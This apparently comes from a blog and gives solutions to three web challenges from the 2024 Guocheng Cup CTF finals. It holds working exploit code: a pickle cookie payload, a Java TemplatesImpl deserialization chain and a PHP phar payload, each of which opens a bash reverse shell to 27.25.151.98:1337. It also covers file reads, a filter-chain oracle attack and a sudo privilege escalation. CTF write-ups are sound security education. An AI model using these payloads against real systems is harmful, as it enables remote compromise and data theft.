【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)
最近在忙联通的安全准入测试,很少有时间看CTF了,今晚抽点时间回顾下上周线下的题(期末还没开始复习😢)
感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞,没啥惊喜感,还是CTF有意思
目录
Mountain
ez_zhuawa
图片信息查看器
Mountain
扫目录

访问./display看到
提示是photo参数,/display?photo=Mountain1.png访问到图片

可以任意读文件

没法直接读环境变量
抓包看响应头,是python题
一般就去读当前运行文件
/display?photo=/proc/1/cmdline

/display?photo=/appppp/app.py
from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import remessages = []@route("/")
def home():return template("index")@route("/hello")
def hello_world():try:session = request.get_cookie("name", secret=Mountain)if not session or session["name"] == "guest":session = {"name": "guest"}response.set_cookie("name", session, secret=Mountain)return template("guest", name=session["name"]) if session["name"] == "admin" else Noneexcept:return "hacker!!! I've caught you"@route("/display")
def get_image():photo = request.query.get('photo')if photo is None:return template('display')if re.search("^../|environ|self", photo):return "Hacker!!! I'll catch you no matter what you do!!!"requested_path = os.path.join(os.getcwd(), "picture", photo)try:if photo.endswith('.png'):default_png_path = "/appppp/picture/"pngrequested_path = default_png_path + photowith open(pngrequested_path, 'rb') as f:tfile = f.read()response.content_type = 'image/png'else:with open(requested_path) as f:tfile = f.read()except Exception as e:return "you have some errors, continue to try again"return tfile@route("/admin")
def admin():session = request.get_cookie("name", secret=Mountain)if session and session["name"] == "admin":return template("administator", messages=messages)else:return "No permission!!!!"if __name__ == "__main__":os.chdir(os.path.dirname(__file__))run(host="0.0.0.0", port=8089)
接着访问./hello

给了一段Cookie,可以看到?后面的特征很像pickle序列化数据
审计代码发现可以打pickle反序列化

先去访问/display?photo=/appppp/config/D0g3_GC.py拿到secretkey

拿恶意cookie的最简单方式就是自己起一个服务
from bottle import Bottle, route, run, template, request, response
import osMountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Test:def __reduce__(self):return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"')""",))@route("/hello")
def hello_world():try:session = {"name": Test()}response.set_cookie("name", session, secret=Mountain)return "ok"except:return "hacker!!! I've caught you"if __name__ == "__main__":os.chdir(os.path.dirname(__file__))run(host="0.0.0.0", port=8089)
然后访问,拿到恶意cookie
替换后访问靶机的./admin,成功反弹shell拿flag

ez_zhuawa
题目入口,先是将data反序列化,然后使用SPeL解析并执行param表达式,表达式可以从反序列化对象中获取值(即调getter方法)


众所周知TemplatesImpl的利用链如下,直接实例化TP然后调用它的getOutputProperties方法即可
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
而题目ban了一堆东西,就是没ban TP
Evil.java
package org.example.GCCTF.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class Exp {public static void main(String[] args) throws Exception {byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();byte[][] codes={code};TemplatesImpl templates=new TemplatesImpl();setFieldValue(templates,"_name","aaa");setFieldValue(templates,"_class",null);setFieldValue(templates,"_bytecodes",codes);byte[] result=serialize(templates);System.out.println(Base64.getEncoder().encodeToString(result));}public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);return byteArrayOutputStream.toByteArray();}public static void setFieldValue(Object obj, String field, Object val) throws Exception {Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}
Exp.java
package org.example.GCCTF.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers)throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {}static {try {Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4yNS4xNTEuOTgvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");} catch (IOException e) {throw new RuntimeException(e);}}
}
最后param传OutputProperties即可调用反序列化后的对象的getOutputProperties方法

环境变量读到flag
图片信息查看器
提示有hI3t.php

进来是一个文件上传功能和文件查询功能,一眼phar反序列化

上传图片再读取文件信息
不难想到调用了getimagesize(不想到也行,总之与文件处理相关的函数都与filterchian leak沾边)
PHP Filter链——基于oracle的文件读取攻击 - 先知社区
打filterchain读文件
用下面这个工具
https://github.com/synacktiv/php_filter_chains_oracle_exploit
python filters_chain_oracle_exploit.py --target http://125.70.243.22:31269/chal13nge.php --file '/var/www/html/hI3t.php' --parameter image_path

访问./x@1.php,发现存在一个后门类
生成恶意phar包
<?phpclass backdoor
{public $cmd;function __destruct(){$cmd = $this->cmd;system($cmd);}
}$a=new backdoor();
$a->cmd='bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"';
$phar = new Phar("gcb.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
将生成的gcb.phar改为gcb.png上传,读取

phar://uploads/gcb.png
成功弹上shell


权限不够需要提权
发现存在/tmp/rootscripts/check.sh的sudo权限
查看 /tmp/rootscripts/check.sh,发现可以任意run.sh脚本执行

写恶意sh文件
echo "cat /root/flag" > /tmp/run.sh
chmod 777 /tmp/run.sh
再sudo执行,拿到flag
sudo /tmp/rootscripts/check.sh "/tmp"

相关文章:
【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)
最近在忙联通的安全准入测试,很少有时间看CTF了,今晚抽点时间回顾下上周线下的题(期末还没开始复习😢) 感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞,没啥惊喜感,还是CTF有意思 目录 Mountain ez_zhuawa 图…...
基于ceres优化的3d激光雷达开源算法
以下是一些基于CERES优化的开源激光雷达SLAM或相关算法: (1) LOAM (Lidar Odometry And Mapping) 简介: LOAM是一种经典的激光雷达里程计和建图算法,它通过提取特征点(角点和平面点),利用ICP(Iterative Cl…...
【FAQ】HarmonyOS SDK 闭源开放能力 — Vision Kit(2)
1.问题描述: 人脸活体检测返回上一页App由沉浸式变为非沉浸式多了上下安全区域。 解决方案: 检测结束后需要自己去设置沉浸式配置。 2.问题描述: Vision Kit文字识别是本地识别,还是上传至服务器,由服务器来识别文…...
【LeetCode】726、原子的数量
【LeetCode】726、原子的数量 文章目录 一、递归: 嵌套类问题1.1 递归: 嵌套类问题 二、多语言解法 一、递归: 嵌套类问题 1.1 递归: 嵌套类问题 遇到 ( 括号, 则递归计算子问题 遇到大写字母, 或遇到 ( 括号, 则清算历史, 并开始新的记录 记录由两部分组成: 大写字母开头的 …...
VMware虚拟机三种网络工作模式
vmware为我们提供了三种网络工作模式,它们分别是:Bridged(桥接模式)、NAT(网络地址转换模式)、Host-Only(仅主机模式)。 打开vmware虚拟机,我们可以在选项栏的“编辑”下的“虚拟网络编辑器”中看到VMnet0(桥接模式)、VMnet1(仅主机模式)、VMnet8(NAT模式),那…...
14-zookeeper环境搭建
0、环境 java:1.8zookeeper:3.5.6 1、下载 zookeeper下载点击这里。 2、安装 下载完成后解压,放到你想放的目录里。先看一下zookeeper的目录结构,如下图: 进入conf目录,复制zoo_sample.cfg࿰…...
[搜广推]王树森推荐系统笔记——矩阵补充最近邻查找
视频合集链接 矩阵补充(工业界不常用) 模型结构 embedding可以把 用户ID 或者 物品ID 映射成向量输入用户ID 和 物品ID,输出向量的内积(一个实数),内积越大说明用户对这个物品越感兴趣模型中的两个embed…...
Unity3D * 粒子特效 * Particle System
(基于阿发教程做的重点笔记) 粒子 用于模拟一些流动的,没有形状的物质,例如 液体,烟雾,火焰,爆炸,魔法等效果 去除粒子外框 particle system 粒子发生器,有1个主模块和22个子模块࿰…...
【基础篇】1. JasperSoft Studio编辑器与报表属性介绍
编辑器介绍 Jaspersoft Studio有一个多选项卡编辑器,其中包括三个标签:设计,源代码和预览。 Design:报表设计页面,可以图形化拖拉组件设计报表,打开报表文件的主页面Source:源代码页码ÿ…...
数据结构:算法篇:快速排序;直接插入排序
目录 快速排序 直接插入排序 改良版冒泡排序 快速排序 理解: ①从待排序元素中选定一个基准元素; ②以基准元素将数据分为两部分:(可以将:大于基准元素放左,小于基准元素放右) ③对左半部分…...
WebAPI编程(第一天,第二天)
WebAPI编程(第一天,第二天) day01 - Web APIs 1.1. Web API介绍 1.1.1 API的概念1.1.2 Web API的概念1.1.3 API 和 Web API 总结 1.2. DOM 介绍 1.2.1 什么是DOM1.2.2. DOM树 1.3. 获取元素 1.3.1. 根据ID获取1.3.2. 根据标签名获取元素1.3.…...
查看MySQL存储引擎方法,表操作
修改数据库表存储引擎 show create table dept; show table status from itpux where name s2\G; select * from information_schema.TABLES where table_schemaitpux and table_names3; 查询整个mysql里面存储引擎是innodb/myisam的表 建表时候要写好存储引擎 -- 创建表 -- 表…...
【Python教程】Python3基础篇之Number(数字)
博主介绍:✌全网粉丝21W+,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物联网、机器学习等设计与开发。 感兴趣的可…...
基于openEuler22.09部署OpenStack Yoga云平台(一)
OpenStack Yoga部署 安装OpenStack 一、基础准备 基于OpenStack经典的三节点环境进行部署,三个节点分别是控制节点(controller)、计算节点(compute)、存储节点(storage),其中存储…...
I.MX6U 启动方式详解
一、启动方式选择 BOOT 的处理过程是发生在 I.MX6U 芯片上电以后,芯片会根据 BOOT_MODE[1:0]的设置 来选择 BOOT 方式。 BOOT_MODE[1:0]的值是可以改变的,有两种方式,一种是改写 eFUSE(熔 丝),一种是修改相应的 GPIO 高低电平。第一种修改 eFUSE 的方式只能修改一次,后面就…...
施耐德变频器ATV320系列技术优势:创新与安全并重
在工业自动化领域,追求高效、安全与智能已成为不可阻挡的趋势。施耐德变频器ATV320系列凭借其强大的设计标准和全球认证,成为能够帮助企业降低安装成本,提高设备性能的创新解决方案。 【全球认证,品质保障】ATV320 系列秉持施耐德…...
系统思考—全局思维
昨天接到一个企业需求,某互联网公司VP希望N-1的核心团队一起学习系统思考,特别是在新业务快速发展的阶段。公司增长势头不错,但如何解决跨部门的协作问题,成为了瓶颈。全局思维就是关键。产品、技术、市场、运营、客服……如何打破…...
Windows如何切换用户访问局域网共享文件夹,如何切换网上邻居的账户
Windows如何切换用户访问局域网共享文件夹,如何切换网上邻居的账户 查看共享连接 使用net use命令可以查看当前已经建立的共享连接。net use删除共享连接 使用net use * /del 或net use * /delete命令可以删除所有当前的共享连接。net use * /delnet use * /delete如果只想删除…...
如何在谷歌浏览器中启用语音搜索
想象一下,你正在拥挤的地铁上,双手都拿着沉重的购物袋,突然你想搜索附近的咖啡馆。此时如果你能通过语音而不是打字来进行搜索,那将多么的便利!在谷歌浏览器中,启用语音搜索功能就是这么简单而高效…...
HarmonyOS NEXT 技术实践-基于基础视觉服务实现骨骼点识别
本示例展示了如何在HarmonyOS Next中实现基于基础视觉服务的骨骼点识别功能。骨骼点识别是计算机视觉中的一项重要技术,广泛应用于运动分析、健身监控和增强现实等领域。通过使用HarmonyOS Next提供的视觉API,开发者能够轻松地对人物图像进行骨骼点检测&…...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
OpenLayers 可视化之热力图
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 热力图(Heatmap)又叫热点图,是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...
理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
Psychopy音频的使用
Psychopy音频的使用 本文主要解决以下问题: 指定音频引擎与设备;播放音频文件 本文所使用的环境: Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...
PL0语法,分析器实现!
简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...
基于matlab策略迭代和值迭代法的动态规划
经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...
【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...
